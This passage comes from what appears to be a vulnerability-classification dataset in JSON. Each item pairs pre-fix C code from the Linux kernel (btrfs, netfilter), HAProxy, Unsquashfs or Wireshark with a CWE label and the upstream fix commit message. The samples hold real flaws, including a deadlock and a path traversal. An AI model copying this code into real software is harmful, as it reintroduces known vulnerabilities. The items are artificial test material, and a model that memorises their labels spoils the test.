would deadlock.\n\t\t * It is safe to do so because allocating a system chunk is the\n\t\t * first thing done while allocating a new block group.\n\t\t */\n\t\tif (reserved > trans->chunk_bytes_reserved) {\n\t\t\tconst u64 min_needed = reserved - thresh;\n\n\t\t\tmutex_unlock(&fs_info->chunk_mutex);\n\t\t\twait_event(cur_trans->chunk_reserve_wait,\n\t\t\t atomic64_read(&cur_trans->chunk_bytes_reserved) <=\n\t\t\t min_needed);\n\t\t\tmutex_lock(&fs_info->chunk_mutex);\n\t\t\tgoto again;\n\t\t}\n\n\t\t/*\n\t\t * Ignore failure to create system chunk. We might end up not\n\t\t * needing it, as we might not need to COW all nodes/leafs from\n\t\t * the paths we visit in the chunk tree (they were already COWed\n\t\t * or created in the current transaction for example).\n\t\t */\n\t\tret = btrfs_alloc_chunk(trans, flags);\n\t}\n\n\tif (!ret) {\n\t\tret = btrfs_block_rsv_add(fs_info->chunk_root,\n\t\t\t\t\t &fs_info->chunk_block_rsv,\n\t\t\t\t\t thresh, BTRFS_RESERVE_NO_FLUSH);\n\t\tif (!ret) {\n\t\t\tatomic64_add(thresh, &cur_trans->chunk_bytes_reserved);\n\t\t\ttrans->chunk_bytes_reserved += thresh;\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-667'], 'message': 'btrfs: fix deadlock with concurrent chunk allocations involving system chunks\n\nWhen a task attempting to allocate a new chunk verifies that there is not\ncurrently enough free space in the system space_info and there is another\ntask that allocated a new system chunk but it did not finish yet the\ncreation of the respective block group, it waits for that other task to\nfinish creating the block group. This is to avoid exhaustion of the system\nchunk array in the superblock, which is limited, when we have a thundering\nherd of tasks allocating new chunks. This problem was described and fixed\nby commit eafa4fd0ad0607 (\"btrfs: fix exhaustion of the system chunk array\ndue to concurrent allocations\").\n\nHowever there are two very similar scenarios where this can lead to a\ndeadlock:\n\n1) Task B allocated a new system chunk and task A is waiting on task B\n to finish creation of the respective system block group. However before\n task B ends its transaction handle and finishes the creation of the\n system block group, it attempts to allocate another chunk (like a data\n chunk for an fallocate operation for a very large range). Task B will\n be unable to progress and allocate the new chunk, because task A set\n space_info->chunk_alloc to 1 and therefore it loops at\n btrfs_chunk_alloc() waiting for task A to finish its chunk allocation\n and set space_info->chunk_alloc to 0, but task A is waiting on task B\n to finish creation of the new system block group, therefore resulting\n in a deadlock;\n\n2) Task B allocated a new system chunk and task A is waiting on task B to\n finish creation of the respective system block group. By the time that\n task B enter the final phase of block group allocation, which happens\n at btrfs_create_pending_block_groups(), when it modifies the extent\n tree, the device tree or the chunk tree to insert the items for some\n new block group, it needs to allocate a new chunk, so it ends up at\n btrfs_chunk_alloc() and keeps looping there because task A has set\n space_info->chunk_alloc to 1, but task A is waiting for task B to\n finish creation of the new system block group and release the reserved\n system space, therefore resulting in a deadlock.\n\nIn short, the problem is if a task B needs to allocate a new chunk after\nit previously allocated a new system chunk and if another task A is\ncurrently waiting for task B to complete the allocation of the new system\nchunk.\n\nUnfortunately this deadlock scenario introduced by the previous fix for\nthe system chunk array exhaustion problem does not have a simple and short\nfix, and requires a big change to rework the chunk allocation code so that\nchunk btree updates are all made in the first phase of chunk allocation.\nAnd since this deadlock regression is being frequently hit on zoned\nfilesystems and the system chunk array exhaustion problem is triggered\nin more extreme cases (originally observed on PowerPC with a node size\nof 64K when running the fallocate tests from stress-ng), revert the\nchanges from that commit. The next patch in the series, with a subject\nof \"btrfs: rework chunk allocation to avoid exhaustion of the system\nchunk array\" does the necessary changes to fix the system chunk array\nexhaustion problem.\n\nReported-by: Naohiro Aota \nLink: https://lore.kernel.org/linux-btrfs/20210621015922.ewgbffxuawia7liz@naota-xeon/\nFixes: eafa4fd0ad0607 (\"btrfs: fix exhaustion of the system chunk array due to concurrent allocations\")\nCC: stable@vger.kernel.org # 5.12+\nTested-by: Shin'ichiro Kawasaki \nTested-by: Naohiro Aota \nSigned-off-by: Filipe Manana \nTested-by: David Sterba \nSigned-off-by: David Sterba '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int nf_conntrack_standalone_init_sysctl(struct net *net)\n{\n\tstruct nf_conntrack_net *cnet = net_generic(net, nf_conntrack_net_id);\n\tstruct nf_udp_net *un = nf_udp_pernet(net);\n\tstruct ctl_table *table;\n\n\tBUILD_BUG_ON(ARRAY_SIZE(nf_ct_sysctl_table) != NF_SYSCTL_CT_LAST_SYSCTL);\n\n\ttable = kmemdup(nf_ct_sysctl_table, sizeof(nf_ct_sysctl_table),\n\t\t\tGFP_KERNEL);\n\tif (!table)\n\t\treturn -ENOMEM;\n\n\ttable[NF_SYSCTL_CT_COUNT].data = &net->ct.count;\n\ttable[NF_SYSCTL_CT_CHECKSUM].data = &net->ct.sysctl_checksum;\n\ttable[NF_SYSCTL_CT_LOG_INVALID].data = &net->ct.sysctl_log_invalid;\n\ttable[NF_SYSCTL_CT_ACCT].data = &net->ct.sysctl_acct;\n\ttable[NF_SYSCTL_CT_HELPER].data = &net->ct.sysctl_auto_assign_helper;\n#ifdef CONFIG_NF_CONNTRACK_EVENTS\n\ttable[NF_SYSCTL_CT_EVENTS].data = &net->ct.sysctl_events;\n#endif\n#ifdef CONFIG_NF_CONNTRACK_TIMESTAMP\n\ttable[NF_SYSCTL_CT_TIMESTAMP].data = &net->ct.sysctl_tstamp;\n#endif\n\ttable[NF_SYSCTL_CT_PROTO_TIMEOUT_GENERIC].data = &nf_generic_pernet(net)->timeout;\n\ttable[NF_SYSCTL_CT_PROTO_TIMEOUT_ICMP].data = &nf_icmp_pernet(net)->timeout;\n\ttable[NF_SYSCTL_CT_PROTO_TIMEOUT_ICMPV6].data = &nf_icmpv6_pernet(net)->timeout;\n\ttable[NF_SYSCTL_CT_PROTO_TIMEOUT_UDP].data = &un->timeouts[UDP_CT_UNREPLIED];\n\ttable[NF_SYSCTL_CT_PROTO_TIMEOUT_UDP_STREAM].data = &un->timeouts[UDP_CT_REPLIED];\n\n\tnf_conntrack_standalone_init_tcp_sysctl(net, table);\n\tnf_conntrack_standalone_init_sctp_sysctl(net, table);\n\tnf_conntrack_standalone_init_dccp_sysctl(net, table);\n\tnf_conntrack_standalone_init_gre_sysctl(net, table);\n\n\t/* Don't allow unprivileged users to alter certain sysctls */\n\tif (net->user_ns != &init_user_ns) {\n\t\ttable[NF_SYSCTL_CT_MAX].mode = 0444;\n\t\ttable[NF_SYSCTL_CT_EXPECT_MAX].mode = 0444;\n\t\ttable[NF_SYSCTL_CT_HELPER].mode = 0444;\n#ifdef CONFIG_NF_CONNTRACK_EVENTS\n\t\ttable[NF_SYSCTL_CT_EVENTS].mode = 0444;\n#endif\n\t\ttable[NF_SYSCTL_CT_BUCKETS].mode = 0444;\n\t} else if (!net_eq(&init_net, net)) {\n\t\ttable[NF_SYSCTL_CT_BUCKETS].mode = 0444;\n\t}\n\n\tcnet->sysctl_header = register_net_sysctl(net, \"net/netfilter\", table);\n\tif (!cnet->sysctl_header)\n\t\tgoto out_unregister_netfilter;\n\n\treturn 0;\n\nout_unregister_netfilter:\n\tkfree(table);\n\treturn -ENOMEM;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-203'], 'message': 'netfilter: conntrack: Make global sysctls readonly in non-init netns\n\nThese sysctls point to global variables:\n- NF_SYSCTL_CT_MAX (&nf_conntrack_max)\n- NF_SYSCTL_CT_EXPECT_MAX (&nf_ct_expect_max)\n- NF_SYSCTL_CT_BUCKETS (&nf_conntrack_htable_size_user)\n\nBecause their data pointers are not updated to point to per-netns\nstructures, they must be marked read-only in a non-init_net ns.\nOtherwise, changes in any net namespace are reflected in (leaked into)\nall other net namespaces. This problem has existed since the\nintroduction of net namespaces.\n\nThe current logic marks them read-only only if the net namespace is\nowned by an unprivileged user (other than init_user_ns).\n\nCommit d0febd81ae77 (\"netfilter: conntrack: re-visit sysctls in\nunprivileged namespaces\") \"exposes all sysctls even if the namespace is\nunpriviliged.\" Since we need to mark them readonly in any case, we can\nforego the unprivileged user check altogether.\n\nFixes: d0febd81ae77 (\"netfilter: conntrack: re-visit sysctls in unprivileged namespaces\")\nSigned-off-by: Jonathon Reinhart \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int h2_make_htx_request(struct http_hdr *list, struct htx *htx, unsigned int *msgf, unsigned long long *body_len)\n{\n\tstruct ist phdr_val[H2_PHDR_NUM_ENTRIES];\n\tuint32_t fields; /* bit mask of H2_PHDR_FND_* */\n\tuint32_t idx;\n\tint ck, lck; /* cookie index and last cookie index */\n\tint phdr;\n\tint ret;\n\tint i;\n\tstruct htx_sl *sl = NULL;\n\tunsigned int sl_flags = 0;\n\tconst char *ctl;\n\n\tlck = ck = -1; // no cookie for now\n\tfields = 0;\n\tfor (idx = 0; list[idx].n.len != 0; idx++) {\n\t\tif (!list[idx].n.ptr) {\n\t\t\t/* this is an indexed pseudo-header */\n\t\t\tphdr = list[idx].n.len;\n\t\t}\n\t\telse {\n\t\t\t/* this can be any type of header */\n\t\t\t/* RFC7540#8.1.2: upper case not allowed in header field names.\n\t\t\t * #10.3: header names must be valid (i.e. match a token).\n\t\t\t * For pseudo-headers we check from 2nd char and for other ones\n\t\t\t * from the first char, because HTTP_IS_TOKEN() also excludes\n\t\t\t * the colon.\n\t\t\t */\n\t\t\tphdr = h2_str_to_phdr(list[idx].n);\n\n\t\t\tfor (i = !!phdr; i < list[idx].n.len; i++)\n\t\t\t\tif ((uint8_t)(list[idx].n.ptr[i] - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(list[idx].n.ptr[i]))\n\t\t\t\t\tgoto fail;\n\t\t}\n\n\t\t/* RFC7540#10.3: intermediaries forwarding to HTTP/1 must take care of\n\t\t * rejecting NUL, CR and LF characters.\n\t\t */\n\t\tctl = ist_find_ctl(list[idx].v);\n\t\tif (unlikely(ctl) && has_forbidden_char(list[idx].v, ctl))\n\t\t\tgoto fail;\n\n\t\tif (phdr > 0 && phdr < H2_PHDR_NUM_ENTRIES) {\n\t\t\t/* insert a pseudo header by its index (in phdr) and value (in value) */\n\t\t\tif (fields & ((1 << phdr) | H2_PHDR_FND_NONE)) {\n\t\t\t\tif (fields & H2_PHDR_FND_NONE) {\n\t\t\t\t\t/* pseudo header field after regular headers */\n\t\t\t\t\tgoto fail;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t/* repeated pseudo header field */\n\t\t\t\t\tgoto fail;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfields |= 1 << phdr;\n\t\t\tphdr_val[phdr] = list[idx].v;\n\t\t\tcontinue;\n\t\t}\n\t\telse if (phdr != 0) {\n\t\t\t/* invalid pseudo header -- should never happen here */\n\t\t\tgoto fail;\n\t\t}\n\n\t\t/* regular header field in (name,value) */\n\t\tif (unlikely(!(fields & H2_PHDR_FND_NONE))) {\n\t\t\t/* no more pseudo-headers, time to build the request line */\n\t\t\tsl = h2_prepare_htx_reqline(fields, phdr_val, htx, msgf);\n\t\t\tif (!sl)\n\t\t\t\tgoto fail;\n\t\t\tfields |= H2_PHDR_FND_NONE;\n\t\t}\n\n\t\tif (isteq(list[idx].n, ist(\"host\")))\n\t\t\tfields |= H2_PHDR_FND_HOST;\n\n\t\tif (isteq(list[idx].n, ist(\"content-length\"))) {\n\t\t\tret = h2_parse_cont_len_header(msgf, &list[idx].v, body_len);\n\t\t\tif (ret < 0)\n\t\t\t\tgoto fail;\n\n\t\t\tsl_flags |= HTX_SL_F_CLEN;\n\t\t\tif (ret == 0)\n\t\t\t\tcontinue; // skip this duplicate\n\t\t}\n\n\t\t/* these ones are forbidden in requests (RFC7540#8.1.2.2) */\n\t\tif (isteq(list[idx].n, ist(\"connection\")) ||\n\t\t isteq(list[idx].n, ist(\"proxy-connection\")) ||\n\t\t isteq(list[idx].n, ist(\"keep-alive\")) ||\n\t\t isteq(list[idx].n, ist(\"upgrade\")) ||\n\t\t isteq(list[idx].n, ist(\"transfer-encoding\")))\n\t\t\tgoto fail;\n\n\t\tif (isteq(list[idx].n, ist(\"te\")) && !isteq(list[idx].v, ist(\"trailers\")))\n\t\t\tgoto fail;\n\n\t\t/* cookie requires special processing at the end */\n\t\tif (isteq(list[idx].n, ist(\"cookie\"))) {\n\t\t\tlist[idx].n.len = -1;\n\n\t\t\tif (ck < 0)\n\t\t\t\tck = idx;\n\t\t\telse\n\t\t\t\tlist[lck].n.len = idx;\n\n\t\t\tlck = idx;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!htx_add_header(htx, list[idx].n, list[idx].v))\n\t\t\tgoto fail;\n\t}\n\n\t/* RFC7540#8.1.2.1 mandates to reject response pseudo-headers (:status) */\n\tif (fields & H2_PHDR_FND_STAT)\n\t\tgoto fail;\n\n\t/* Let's dump the request now if not yet emitted. */\n\tif (!(fields & H2_PHDR_FND_NONE)) {\n\t\tsl = h2_prepare_htx_reqline(fields, phdr_val, htx, msgf);\n\t\tif (!sl)\n\t\t\tgoto fail;\n\t}\n\n\tif (*msgf & H2_MSGF_BODY_TUNNEL)\n\t\t*msgf &= ~(H2_MSGF_BODY|H2_MSGF_BODY_CL);\n\n\tif (!(*msgf & H2_MSGF_BODY) || ((*msgf & H2_MSGF_BODY_CL) && *body_len == 0) ||\n\t (*msgf & H2_MSGF_BODY_TUNNEL)) {\n\t\t/* Request without body or tunnel requested */\n\t\tsl_flags |= HTX_SL_F_BODYLESS;\n\t\thtx->flags |= HTX_FL_EOM;\n\t}\n\n\tif (*msgf & H2_MSGF_EXT_CONNECT) {\n\t\tif (!htx_add_header(htx, ist(\"upgrade\"), phdr_val[H2_PHDR_IDX_PROT]))\n\t\t\tgoto fail;\n\t\tif (!htx_add_header(htx, ist(\"connection\"), ist(\"upgrade\")))\n\t\t\tgoto fail;\n\t\tsl_flags |= HTX_SL_F_CONN_UPG;\n\t}\n\n\t/* update the start line with last detected header info */\n\tsl->flags |= sl_flags;\n\n\t/* complete with missing Host if needed */\n\tif ((fields & (H2_PHDR_FND_HOST|H2_PHDR_FND_AUTH)) == H2_PHDR_FND_AUTH) {\n\t\t/* missing Host field, use :authority instead */\n\t\tif (!htx_add_header(htx, ist(\"host\"), phdr_val[H2_PHDR_IDX_AUTH]))\n\t\t\tgoto fail;\n\t}\n\n\t/* now we may have to build a cookie list. We'll dump the values of all\n\t * visited headers.\n\t */\n\tif (ck >= 0) {\n\t\tuint32_t fs; // free space\n\t\tuint32_t bs; // block size\n\t\tuint32_t vl; // value len\n\t\tuint32_t tl; // total length\n\t\tstruct htx_blk *blk;\n\n\t\tblk = htx_add_header(htx, ist(\"cookie\"), list[ck].v);\n\t\tif (!blk)\n\t\t\tgoto fail;\n\n\t\ttl = list[ck].v.len;\n\t\tfs = htx_free_data_space(htx);\n\t\tbs = htx_get_blksz(blk);\n\n\t\t/* for each extra cookie, we'll extend the cookie's value and\n\t\t * insert \"; \" before the new value.\n\t\t */\n\t\tfs += tl; // first one is already counted\n\t\twhile ((ck = list[ck].n.len) >= 0) {\n\t\t\tvl = list[ck].v.len;\n\t\t\ttl += vl + 2;\n\t\t\tif (tl > fs)\n\t\t\t\tgoto fail;\n\n\t\t\thtx_change_blk_value_len(htx, blk, tl);\n\t\t\t*(char *)(htx_get_blk_ptr(htx, blk) + bs + 0) = ';';\n\t\t\t*(char *)(htx_get_blk_ptr(htx, blk) + bs + 1) = ' ';\n\t\t\tmemcpy(htx_get_blk_ptr(htx, blk) + bs + 2, list[ck].v.ptr, vl);\n\t\t\tbs += vl + 2;\n\t\t}\n\n\t}\n\n\t/* now send the end of headers marker */\n\tif (!htx_add_endof(htx, HTX_BLK_EOH))\n\t\tgoto fail;\n\n\t/* proceed to scheme-based normalization on target-URI */\n\tif (fields & H2_PHDR_FND_SCHM)\n\t\thttp_scheme_based_normalize(htx);\n\n\tret = 1;\n\treturn ret;\n\n fail:\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-755'], 'message': 'BUG/MEDIUM: h2: give :authority precedence over Host\n\nThe wording regarding Host vs :authority in RFC7540 is ambiguous as it\nsays that an intermediary must produce a host header from :authority if\nHost is missing, but, contrary to HTTP/1.1, doesn't say anything regarding\nthe possibility that Host and :authority differ, which leaves Host with\nhigher precedence there. In addition it mentions that clients should use\n:authority *instead* of Host, and that H1->H2 should use :authority only\nif the original request was in authority form. This leaves some gray\narea in the middle of the chain for fully valid H2 requests arboring a\nHost header that are forwarded to the other side where it's possible to\ndrop the Host header and use the authority only after forwarding to a\nsecond H2 layer, thus possibly seeing two different values of Host at\na different stage. There's no such issue when forwarding from H2 to H1\nas the authority is dropped only only the Host is kept.\n\nNote that the following request is sufficient to re-normalize such a\nrequest:\n\n http-request set-header host %[req.hdr(host)]\n\nThe new spec in progress (draft-ietf-httpbis-http2bis-03) addresses\nthis trouble by being a bit is stricter on these rules. It clarifies\nthat :authority must always be used instead of Host and that Host ought\nto be ignored. This is much saner as it avoids to convey two distinct\nvalues along the chain. This becomes the protocol-level equivalent of:\n\n http-request set-uri %[url]\n\nSo this patch does exactly this, which we were initially a bit reluctant\nto do initially by lack of visibility about other implementations'\nexpectations. In addition it slightly simplifies the Host header field\ncreation by always placing it first in the list of headers instead of\nlast; this could also speed up the look up a little bit.\n\nThis needs to be backported to 2.0. Non-HTX versions are safe regarding\nthis because they drop the URI during the conversion to HTTP/1.1 so\nonly Host is used and transmitted.\n\nThanks to Tim D\ufffdsterhus for reporting that one.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offset,\n\tstruct inode **i)\n{\n\tsquashfs_dir_header_3 dirh;\n\tchar buffer[sizeof(squashfs_dir_entry_3) + SQUASHFS_NAME_LEN + 1]\n\t\t__attribute__((aligned));\n\tsquashfs_dir_entry_3 *dire = (squashfs_dir_entry_3 *) buffer;\n\tlong long start;\n\tint bytes;\n\tint dir_count, size;\n\tstruct dir_ent *new_dir;\n\tstruct dir *dir;\n\n\tTRACE(\"squashfs_opendir: inode start block %d, offset %d\\n\",\n\t\tblock_start, offset);\n\n\t*i = read_inode(block_start, offset);\n\n\tdir = malloc(sizeof(struct dir));\n\tif(dir == NULL)\n\t\tEXIT_UNSQUASH(\"squashfs_opendir: malloc failed!\\n\");\n\n\tdir->dir_count = 0;\n\tdir->cur_entry = 0;\n\tdir->mode = (*i)->mode;\n\tdir->uid = (*i)->uid;\n\tdir->guid = (*i)->gid;\n\tdir->mtime = (*i)->time;\n\tdir->xattr = (*i)->xattr;\n\tdir->dirs = NULL;\n\n\tif ((*i)->data == 3)\n\t\t/*\n\t\t * if the directory is empty, skip the unnecessary\n\t\t * lookup_entry, this fixes the corner case with\n\t\t * completely empty filesystems where lookup_entry correctly\n\t\t * returning -1 is incorrectly treated as an error\n\t\t */\n\t\treturn dir;\n\n\tstart = sBlk.s.directory_table_start + (*i)->start;\n\tbytes = lookup_entry(directory_table_hash, start);\n\n\tif(bytes == -1)\n\t\tEXIT_UNSQUASH(\"squashfs_opendir: directory block %d not \"\n\t\t\t\"found!\\n\", block_start);\n\n\tbytes += (*i)->offset;\n\tsize = (*i)->data + bytes - 3;\n\n\twhile(bytes < size) {\t\t\t\n\t\tif(swap) {\n\t\t\tsquashfs_dir_header_3 sdirh;\n\t\t\tmemcpy(&sdirh, directory_table + bytes, sizeof(sdirh));\n\t\t\tSQUASHFS_SWAP_DIR_HEADER_3(&dirh, &sdirh);\n\t\t} else\n\t\t\tmemcpy(&dirh, directory_table + bytes, sizeof(dirh));\n\t\n\t\tdir_count = dirh.count + 1;\n\t\tTRACE(\"squashfs_opendir: Read directory header @ byte position \"\n\t\t\t\"%d, %d directory entries\\n\", bytes, dir_count);\n\t\tbytes += sizeof(dirh);\n\n\t\t/* dir_count should never be larger than SQUASHFS_DIR_COUNT */\n\t\tif(dir_count > SQUASHFS_DIR_COUNT) {\n\t\t\tERROR(\"File system corrupted: too many entries in directory\\n\");\n\t\t\tgoto corrupted;\n\t\t}\n\n\t\twhile(dir_count--) {\n\t\t\tif(swap) {\n\t\t\t\tsquashfs_dir_entry_3 sdire;\n\t\t\t\tmemcpy(&sdire, directory_table + bytes,\n\t\t\t\t\tsizeof(sdire));\n\t\t\t\tSQUASHFS_SWAP_DIR_ENTRY_3(dire, &sdire);\n\t\t\t} else\n\t\t\t\tmemcpy(dire, directory_table + bytes,\n\t\t\t\t\tsizeof(*dire));\n\t\t\tbytes += sizeof(*dire);\n\n\t\t\t/* size should never be SQUASHFS_NAME_LEN or larger */\n\t\t\tif(dire->size >= SQUASHFS_NAME_LEN) {\n\t\t\t\tERROR(\"File system corrupted: filename too long\\n\");\n\t\t\t\tgoto corrupted;\n\t\t\t}\n\n\t\t\tmemcpy(dire->name, directory_table + bytes,\n\t\t\t\tdire->size + 1);\n\t\t\tdire->name[dire->size + 1] = '\\0';\n\t\t\tTRACE(\"squashfs_opendir: directory entry %s, inode \"\n\t\t\t\t\"%d:%d, type %d\\n\", dire->name,\n\t\t\t\tdirh.start_block, dire->offset, dire->type);\n\t\t\tif((dir->dir_count % DIR_ENT_SIZE) == 0) {\n\t\t\t\tnew_dir = realloc(dir->dirs, (dir->dir_count +\n\t\t\t\t\tDIR_ENT_SIZE) * sizeof(struct dir_ent));\n\t\t\t\tif(new_dir == NULL)\n\t\t\t\t\tEXIT_UNSQUASH(\"squashfs_opendir: \"\n\t\t\t\t\t\t\"realloc failed!\\n\");\n\t\t\t\tdir->dirs = new_dir;\n\t\t\t}\n\t\t\tstrcpy(dir->dirs[dir->dir_count].name, dire->name);\n\t\t\tdir->dirs[dir->dir_count].start_block =\n\t\t\t\tdirh.start_block;\n\t\t\tdir->dirs[dir->dir_count].offset = dire->offset;\n\t\t\tdir->dirs[dir->dir_count].type = dire->type;\n\t\t\tdir->dir_count ++;\n\t\t\tbytes += dire->size + 1;\n\t\t}\n\t}\n\n\treturn dir;\n\ncorrupted:\n\tfree(dir->dirs);\n\tfree(dir);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'Unsquashfs: fix write outside destination directory exploit\n\nAn issue on Github (https://github.com/plougher/squashfs-tools/issues/72)\nshows how some specially crafted Squashfs filesystems containing\ninvalid file names (with '/' and ..) can cause Unsquashfs to write\nfiles outside of the destination directory.\n\nThis commit fixes this exploit by checking all names for\nvalidity.\n\nIn doing so I have also added checks for '.' and for names that\nare shorter than they should be (names in the file system should\nnot have '\\0' terminators).\n\nSigned-off-by: Phillip Lougher '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int dissect_dvb_s2_bb(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n{\n proto_item *ti;\n proto_tree *dvb_s2_bb_tree;\n\n guint8 input8, matype1;\n guint8 sync_flag = 0;\n guint16 input16, bb_data_len = 0, user_packet_length;\n\n int sub_dissected = 0, flag_is_ms = 0, new_off = 0;\n\n static int * const bb_header_bitfields[] = {\n &hf_dvb_s2_bb_matype1_gs,\n &hf_dvb_s2_bb_matype1_mis,\n &hf_dvb_s2_bb_matype1_acm,\n &hf_dvb_s2_bb_matype1_issyi,\n &hf_dvb_s2_bb_matype1_npd,\n &hf_dvb_s2_bb_matype1_low_ro,\n NULL\n };\n\n col_append_str(pinfo->cinfo, COL_PROTOCOL, \"BB \");\n col_append_str(pinfo->cinfo, COL_INFO, \"Baseband \");\n\n /* create display subtree for the protocol */\n ti = proto_tree_add_item(tree, proto_dvb_s2_bb, tvb, 0, DVB_S2_BB_HEADER_LEN, ENC_NA);\n dvb_s2_bb_tree = proto_item_add_subtree(ti, ett_dvb_s2_bb);\n\n matype1 = tvb_get_guint8(tvb, DVB_S2_BB_OFFS_MATYPE1);\n new_off += 1;\n\n if (BIT_IS_CLEAR(matype1, DVB_S2_BB_MIS_POS))\n flag_is_ms = 1;\n\n proto_tree_add_bitmask_with_flags(dvb_s2_bb_tree, tvb, DVB_S2_BB_OFFS_MATYPE1, hf_dvb_s2_bb_matype1,\n ett_dvb_s2_bb_matype1, bb_header_bitfields, ENC_BIG_ENDIAN, BMT_NO_FLAGS);\n\n input8 = tvb_get_guint8(tvb, DVB_S2_BB_OFFS_MATYPE1);\n\n if ((pinfo->fd->num == 1) && (_use_low_rolloff_value != 0)) {\n _use_low_rolloff_value = 0;\n }\n if (((input8 & 0x03) == 3) && !_use_low_rolloff_value) {\n _use_low_rolloff_value = 1;\n }\n if (_use_low_rolloff_value) {\n proto_tree_add_item(dvb_s2_bb_tree, hf_dvb_s2_bb_matype1_low_ro, tvb,\n DVB_S2_BB_OFFS_MATYPE1, 1, ENC_BIG_ENDIAN);\n } else {\n proto_tree_add_item(dvb_s2_bb_tree, hf_dvb_s2_bb_matype1_high_ro, tvb,\n DVB_S2_BB_OFFS_MATYPE1, 1, ENC_BIG_ENDIAN);\n }\n\n input8 = tvb_get_guint8(tvb, DVB_S2_BB_OFFS_MATYPE2);\n new_off += 1;\n if (flag_is_ms) {\n proto_tree_add_uint_format_value(dvb_s2_bb_tree, hf_dvb_s2_bb_matype2, tvb,\n DVB_S2_BB_OFFS_MATYPE2, 1, input8, \"Input Stream Identifier (ISI): %d\",\n input8);\n } else {\n proto_tree_add_uint_format_value(dvb_s2_bb_tree, hf_dvb_s2_bb_matype2, tvb,\n DVB_S2_BB_OFFS_MATYPE2, 1, input8, \"reserved\");\n }\n\n user_packet_length = input16 = tvb_get_ntohs(tvb, DVB_S2_BB_OFFS_UPL);\n new_off += 2;\n\n proto_tree_add_uint_format(dvb_s2_bb_tree, hf_dvb_s2_bb_upl, tvb,\n DVB_S2_BB_OFFS_UPL, 2, input16, \"User Packet Length: %d bits (%d bytes)\",\n (guint16) input16, (guint16) input16 / 8);\n\n bb_data_len = input16 = tvb_get_ntohs(tvb, DVB_S2_BB_OFFS_DFL);\n bb_data_len /= 8;\n new_off += 2;\n\n proto_tree_add_uint_format_value(dvb_s2_bb_tree, hf_dvb_s2_bb_dfl, tvb,\n DVB_S2_BB_OFFS_DFL, 2, input16, \"%d bits (%d bytes)\", input16, input16 / 8);\n\n new_off += 1;\n sync_flag = tvb_get_guint8(tvb, DVB_S2_BB_OFFS_SYNC);\n proto_tree_add_item(dvb_s2_bb_tree, hf_dvb_s2_bb_sync, tvb, DVB_S2_BB_OFFS_SYNC, 1, ENC_BIG_ENDIAN);\n\n new_off += 2;\n proto_tree_add_item(dvb_s2_bb_tree, hf_dvb_s2_bb_syncd, tvb, DVB_S2_BB_OFFS_SYNCD, 2, ENC_BIG_ENDIAN);\n\n new_off += 1;\n proto_tree_add_checksum(dvb_s2_bb_tree, tvb, DVB_S2_BB_OFFS_CRC, hf_dvb_s2_bb_crc, hf_dvb_s2_bb_crc_status, &ei_dvb_s2_bb_crc, pinfo,\n compute_crc8(tvb, DVB_S2_BB_HEADER_LEN - 1, 0), ENC_NA, PROTO_CHECKSUM_VERIFY);\n\n switch (matype1 & DVB_S2_BB_TSGS_MASK) {\n case DVB_S2_BB_TSGS_GENERIC_CONTINUOUS:\n /* Check GSE constraints on the BB header per 9.2.1 of ETSI TS 102 771 */\n if (BIT_IS_SET(matype1, DVB_S2_BB_ISSYI_POS)) {\n expert_add_info(pinfo, ti, &ei_dvb_s2_bb_issy_invalid);\n }\n if (BIT_IS_SET(matype1, DVB_S2_BB_NPD_POS)) {\n expert_add_info(pinfo, ti, &ei_dvb_s2_bb_npd_invalid);\n }\n if (user_packet_length != 0x0000) {\n expert_add_info_format(pinfo, ti, &ei_dvb_s2_bb_upl_invalid,\n \"UPL is 0x%04x. It must be 0x0000 for GSE packets.\", user_packet_length);\n }\n\n\n if (dvb_s2_df_dissection) {\n while (bb_data_len) {\n if (sync_flag == DVB_S2_BB_SYNC_EIP_CRC32 && bb_data_len == DVB_S2_BB_EIP_CRC32_LEN) {\n proto_tree_add_item(dvb_s2_bb_tree, hf_dvb_s2_bb_eip_crc32, tvb, new_off, bb_data_len, ENC_NA);\n bb_data_len = 0;\n new_off += DVB_S2_BB_EIP_CRC32_LEN;\n } else {\n /* start DVB-GSE dissector */\n sub_dissected = dissect_dvb_s2_gse(tvb_new_subset_length(tvb, new_off, bb_data_len), pinfo, tree, NULL);\n new_off += sub_dissected;\n\n if ((sub_dissected <= bb_data_len) && (sub_dissected >= DVB_S2_GSE_MINSIZE)) {\n bb_data_len -= sub_dissected;\n if (bb_data_len < DVB_S2_GSE_MINSIZE)\n bb_data_len = 0;\n }\n }\n }\n } else {\n proto_tree_add_item(dvb_s2_bb_tree, hf_dvb_s2_bb_df, tvb, new_off, bb_data_len, ENC_NA);\n new_off += bb_data_len;\n }\n break;\n\n case DVB_S2_BB_TSGS_GENERIC_PACKETIZED:\n proto_tree_add_item(tree, hf_dvb_s2_bb_packetized, tvb, new_off, bb_data_len, ENC_NA);\n new_off += bb_data_len;\n break;\n\n case DVB_S2_BB_TSGS_TRANSPORT_STREAM:\n proto_tree_add_item(tree, hf_dvb_s2_bb_transport, tvb, new_off, 